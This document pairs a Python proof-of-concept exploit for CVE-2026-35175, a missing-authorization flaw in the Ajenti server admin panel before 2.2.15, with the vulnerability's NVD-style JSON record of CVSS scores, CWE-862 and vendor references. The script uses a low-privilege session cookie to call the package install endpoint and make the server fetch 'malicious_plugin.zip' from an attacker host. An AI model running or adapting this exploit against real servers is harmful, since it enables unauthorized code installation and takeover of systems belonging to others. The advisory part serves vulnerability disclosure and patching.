CVE-2026-35175

import requests # Configuration target_url = "http://<target-host>:8000/api/core/packages/install" auth_cookie = "<low_priv_user_session_cookie>" malicious_pkg_url = "http://attacker.com/malicious_plugin.zip" headers = { "Content-Type": "application/json", "Cookie": f"session={auth_cookie}" } # Payload to install a custom package payload = { "url": malicious_pkg_url, "dependencies": [] } try: # Send exploitation request print("[*] Attempting to install malicious package...") response = requests.post(target_url, json=payload, headers=headers, verify=False) if response.status_code == 200: print("[+] Exploit successful! Package installed.") else: print(f"[-] Failed. Status: {response.status_code}") print(response.text) except Exception as e: print(f"[!] An error occurred: {e}")

{"cve": {"id": "CVE-2026-35175", "sourceIdentifier": "[email protected]", "published": "2026-04-06T18:16:43.830", "lastModified": "2026-04-20T18:33:23.027", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Ajenti is a Linux and BSD modular server admin panel. Prior to 2.2.15, an authenticated user (using the auth_users plugin authentication method) could install a custom package even if this user is not superuser. This vulnerability is fixed in 2.2.15."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:L/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ajenti:ajenti:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.2.15", "matchCriteriaId": "ED9724FB-BCD0-4A4B-8D88-0A5FD725A878"}]}]}], "references": [{"url": "https://github.com/ajenti/ajenti/releases/tag/v2.2.15", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/ajenti/ajenti/security/advisories/GHSA-73jv-44c3-j5p2", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}